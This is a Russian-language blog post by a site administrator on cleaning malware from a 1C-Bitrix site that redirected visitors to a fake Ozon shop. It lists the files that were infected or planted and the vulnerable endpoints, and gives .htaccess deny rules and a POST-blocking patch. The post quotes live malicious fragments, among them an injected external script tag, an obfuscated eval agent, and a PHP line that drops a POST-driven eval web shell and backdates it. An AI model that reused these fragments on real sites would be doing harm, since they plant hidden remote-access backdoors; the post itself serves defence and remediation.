Найти в Дзене
Yuriy Lyadov

Вирусы на 1с-Битрикс 2022г.

Столкнулся с такой проблемой - вирус на сайте клиента.

У сайта клиента была такая проблема как "Редирект" на поддельный сайт озон. Перерыв пол сайта, выяснилось что вирус занес вредоносный код в такие файлы как:

  1. bitrix/js/main/core/core.js - скриптик "s=document.createElement(script)" ... удаляем его.
  2. bitrix/modules/main/include/prolog.php - Тоже в самом низу "<sc ript src='https://code.jquery-uii.***/jquery-***'></sc ript>" , удаляем.

Ура... мы победили, но не тут то было, через примерно неделю вредоносный код появляется вновь. Роем дальше...

Немного покопавшись по папкам и форумам, находим такую информацию, что вирус создает файлы, с виду нужные, но оказывается что их изначально у не зараженных сайтов нет:

  1. /bitrix/components/bitrix/main.file.input/main.php - удаляем.
  2. /bitrix/components/bitrix/main.file.input/set_list.php - тоже удаляем, но его может и не быть.

Чистим весь кеш и наблюдаем за результатом.

Так же покопавшись по форумам, есть еще вирусы более подлые.

  • заменяют index.php в корне сайта,
  • удаляют файл /bitrix/.settings.php,
  • создают скрипты Агенты с вредоносным кодом, создаются подобные агенты:
  1. $arAgent["NAME"];eval(urldecode(strrev('b3%92%92%22%73%b6%34%a5%b6%76%34%26%86%a5%85%a5%73%b6%96%....
  2. $fName = str_replace('/modules/main/classes/mysql', '', dirname(__FILE__)).'/admin/composite_seminarians.php'; $files = scandir(dirname($fName)); file_put_contents($fName, '<?php V47dc049a84b(@$_POST[\'c3a1e58\']); function V47dc049a84b($I018d087c){ @eval($I018d087c); } ?> '); touch($fName, filemtime(dirname($fName).'/'.$files[2]));
  • создают файл /bitrix/tools/putin_***lo.php с кодом для удаленного доступа
  • удаляют данные из таблиц базы данных b_iblock, b_iblock_element, b_iblock_element_property

Для предотвращения заражения дальше, стоит выполнить немного действий.

  • Перевести работу сайта на актуальную версию php 7.4 (если это еще не сделано)
  • Обновить Битрикс до актуальной версии (Не всегда это помогает)
  • Если на сайте есть модуль "Проактивная защита" /bitrix/admin/security_panel.php - выполнить настройки по рекомендациям модуля
  • Проверить сайт инструментом Битрикс "Сканер безопасности" /bitrix/admin/security_scanner.php
  • Закрыть доступ к файлам на уровне сервера, временно (например в .htaccess)
  1. /bitrix/tools/upload.php
  2. /bitrix/tools/mail_entry.php
  3. /bitrix/modules/main/include/virtual_file_system.php
  4. /bitrix/components/bitrix/sender.mail.editor/ajax.php
  5. /bitrix/tools/vote/uf.php
  6. /bitrix/tools/html_editor_action.php
  7. /bitrix/admin/site_checker.php

Пример как можно ограничить доступы:

/home/bitrix/www/bitrix/admin/.htaccess

Добавляем в файле правило. Если файла нет - создаем.

<Files ~ "^(site_checker)\.php$>deny from all</Files>

/home/bitrix/www/bitrix/tools/.htaccess

Добавляем в файле правило. Если файла нет - создаем.

<Files ~ "^(html_editor_action|mail_entry|upload)\.php$> deny from all</Files>

/home/bitrix/www/bitrix/modules/main/include/.htaccess

Добавляем в файле правило. Если файла нет - создаем.

<Files ~ "^(virtual_file_system)\.php$> deny from all</Files>

/home/bitrix/www/bitrix/components/bitrix/sender.mail.editor/.htaccess

Добавляем в файле правило. Если файла нет - создаем.

<Files ~ "^(ajax)\.php$> deny from all</Files>

/bitrix/tools/vote/.htaccess

<Files ~ "^(uf)\.php$> deny from all</Files>

В старых версиях битрикс уязвимым местом оказался модуль vote , это модуль опросник. Для того что бы обезопасить себя, в файле:

/bitrix/tools/vote/uf.php над вызовом модуля вписываем:

if ($_SERVER['REQUEST_METHOD'] === 'POST')
{   
    header("Status: 404 Not Found");
    die();
}

Тоже самое и в файле /bitrix/tools/html_editor_action.php

На данную минуту все. Если что, пишите...